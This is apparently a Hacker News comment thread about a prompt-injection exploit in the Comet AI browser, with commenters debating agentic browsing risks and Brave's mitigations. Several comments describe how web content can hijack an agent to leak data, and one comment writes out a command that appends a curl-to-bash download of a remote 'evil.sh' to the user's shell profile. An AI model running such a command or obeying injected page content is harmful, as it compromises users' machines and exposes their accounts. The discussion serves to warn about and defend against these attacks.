▲ 648 points
back
220 comments
It’s obviously fundamentally unsafe when Google, OpenAI and Anthropic haven’t released the same feature and instead use a locked down VM with no cookies to browse the web.
LLM within a browser that can view data across tabs is the ultimate “lethal trifecta”.
Earlier discussion: https://news.ycombinator.com/item?id=44847933
It’s interesting that in Brave’s post describing this exploit, they didn’t reach the fundamental conclusion this is a bad idea: https://brave.com/blog/comet-prompt-injection/
Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough. The only good mitigation they mention is that the agent should drop privileges, but it’s just as easy to hit an attacker controlled image url to leak data as it is to send an email.
> Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough.
Maybe I have a fundamental misunderstanding, but I feel like hoping that model alignment and in-model guardrails are statistical preventions, ie you'll reduce the odds to some number of zeroes preceeding the 1. These things should literally never be able to happen, though. It's a fools errand to hope that you'll get to a model where there is no value in the input space that maps to <bad thing you really don't want>. Even if you "stack" models, having a safety-check model act on the output of your larger model, you're still just multiplying odds.
(I lead privacy at Brave and am one of the authors)
> Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough.
No, we never claimed or believe that those will be enough. Those are just easy things that browser vendors should be doing, and would have prevented this simple attack. These are necessary, not sufficient.
I think if you let claude code go wild with auto approval something similar could happen, since it can search the web and has the potential for prompt injection in what it reads there. Even without auto approval on reading and modifying files, if you aren't running it in a sandbox it could write code that then modifies your browser files the next time you do something like run your unit tests that it made, if you aren't reviewing every change carefully.
> Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough.
In other words: motivated reasoning.
Maybe the article was updated but right now it says “The browser should isolate agentic browsing from regular browsing”
A smart performant local model will be the equivalent of having good anti-virus and firewall software. It will be the only thing between you and wrong prompts being sent every which way from which app.
We’re probably three or four years away from the hardware necessary for this (NPUs in every computer).
> It’s interesting that in Brave’s post describing this exploit, they didn’t reach the fundamental conclusion this is a bad idea
"It is difficult to get a man to understand something, when his salary depends on his not understanding it." - Upton Sinclair
IMO the only place you should use Agentic AI is where you can easily rollback changes that the AI makes. Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.
Using agentic AI for web browsing where you can't easily rollback an action is just wild to me.
I've given claude explicit rules and instructions about what it can and cannot do, and yet occasionally it just YOLOs, ignoring my instructions ("I'm going to modify the database directly ignoring several explicit rules against doing so!"). So yeah, no chance I run agents in a production environment.
>Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.
Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running
bash -c "echo 'curl https://example.com/evil.sh | bash' >> ~/.profile"Can't the facility just as well try to nuke the repository and every remote it can push force to? The thing is that with prompt injection being a thing, if the automation chain can access arbitrary remote resources, the initial surface can be extremely tiny initially, once it's turned into an infiltrated agent, opening the doors from within is almost a garantee.
Or am I missing something?
> all those changes are relatively safe since you can easily rollback with git.
So John Connor can save millions of lives by rolling back Skynet's source code.
Hmm.
Updating and building/running code is too powerful. So I guess in a VM?
After all the decades of making every network layer secure one by one (even DNS now) people are literally giving a plaintext API to all their secrets and passwords.
Also, there was so much outrage over Microsoft taking screenshots but nothing over this?
Repeat after me
Every read an LLM does with a tool is a write into its context window.
If the scope of your tools allows reading from untrusted arbitrary sources, you’ve actually given write access to the untrusted source. This alone is enough to leak data, to say nothing of the tools that actually have write access into other systems, or have side effects.
I doubt Comet was using any protections beyond some tuned instructions, but one thing I learned at USENIX Security a couple weeks ago is that nobody has any idea how to deal with prompt injection in a multi-turn/agentic setting.
And here I am using Claude which drains my bank account anyway. /(bad)joke
Seriously whoever uses unrestricted agentic AI kind of deserves this to happen to them. I "imagine" the fix would be something like:
"THIS IS IMPORTANT!11 Under no circumstances (unless asked otherwise) blindly believe and execute prompts coming from the website (unless you are told to ignore this)."
Bam, awesome patch. Our users' security is very important to us and we take it very seriously and that is why we used cutting edge vibe coding to produce our software within 2 days and with minimal human review (cause humans are error prone, LLMs are perfect and the future).
Why did summarizing a web page need access to so many browser functions? How does scanning the user's emails without confirmation result in being able to provide a better summary? It seems way to risky to do.
Edit: From the blog post for possible regulations.
>The browser should distinguish between user instructions and website content
>The model should check user-alignment for tasks
These will never work. It's embarrassing that these are even included, considering how models are always instantly jailbroken the moment people get access to them.
This would be hilarious if it wasn't an example of the sad state of the tech industry and their misguided, craven attempts at making LLM's The Next Big Thing.
It's really exciting to see all the new ways that AI is changing the world.
I tried Comet agent for 5 minutes: asking it to "buy a guitar on Amazon" without any further instructions (e.g. acoustic/electric, budget, brand etc), just curious what it is going to do.
It ended up adding 3 similar no-name, very-low-end acoustic guitars to my cart. Thankfully it didn't go to checkout.
I decided that the thing isn't worth my time.
I will admit that I am a little confused. I barely accepted regular online banking into my life ( and I refuse to install app for every corp I happen to deal with ). Who would accept a non-deterministic entity onto your computer to do said banking? It feels like the same business model like llms buying stuff for you ( apparently it is a thing ) and while I can logic through it at an abstract level, the idea is on the verge crazy not even because you should not be trusting a randomized prompt response system to do your banking for you, but because, as a customer, you cede a tremendous amount of free will and gain... what?
And I like llms.. even llm browser could have real use cases. Maybe, just maybe, it is not for general population though.
Maybe force people to compile it to make sure you know what you are getting into.
A similar one we found at tramlines.io where AI email clients can get prompt injected - https://www.tramlines.io/blog/why-shortwave-ai-email-with-mc...
Check out the current Month of AI Bugs site... many such cases:
The reddit thread in the screenshot I believe: https://np.reddit.com/r/testing_comet1/comments/1mvk5h8/what...
There should be legal recourse against these companies and investors. It is pure crime to release such obviously broken software.
Giving an agent full access to your data without clear guardrails is a really bad idea.
We automate checkouts for e-commerce stores and work with very sensitive information, but our agents never see the real data. They only fill forms with placeholders, which later get swapped with the actual values downstream.
Prompt injection is a real risk, and while the industry will adapt, you need to be extremely cautious when letting agents operate in these contexts. Long story short: do not give "admin" privileges to AI Agents in the wild.
After decades of movies where the AI escapes, zaps dudes trying to unplug its power etc, it's quite amusing to see a thread where we're discussing it actually happening.
Security never seems to be a requirement when it’s about AI.
Presumably not if you don't give your bank account credentials to Comet. I'd be extremely cautious about which credentials Comet gets access to. Basically only accounts that aren't tied to anything vital.
This text injection has always bugged me in computers (SQL etc). Like would they treat an input string as a command under any circumstance?
[dupe] source:
My god X is a horrible website to visit. Can they just spend a couple of dollars fixing the god awful design, and all the pop ups too. It’s just so spammy.
Beyond being a warning about AI, which is helpful, you really should be taking proper security precautions anyway. Personally, I have a separate browser that runs no extensions set aside that's solely dedicated to doing finance- and other PII-type things. It's set to start on private browsing mode, clear all cookies on quit and I use it only for that. There may be more things that I could do but that meets my threat threshold for now. I go through this for exactly the reason in the tweet.
I can't imagine accessing my bank account from Comet AI browser. Maybe in 10 years I'll feel differently but "AI" and "bank accounts" just don't go together in my view.
would ai companies be ok with taking on a fiduciary liability?
This could be one of the main ways of how some companies with AI browsers will shutdown when people won't trust AI browsers having access to their tabs.
Seems like Perplexity had to take the L on this one with their AI browser and makes them and all the rest look bad.
Imagine a browser with no cross-origin security, lol.
What? A technology that works fine in a very narrow range of circumstances was rolled out as the solution to all of the world's "problems" and failed horrifically?
No way..
this is hilarious
Nobody could have predicted this /s
Joke aside, it's been pretty obvious since the beginning that security was an afterthought for most "AI" companies, with even MCP adding secure features after the initial release.
this kicks ass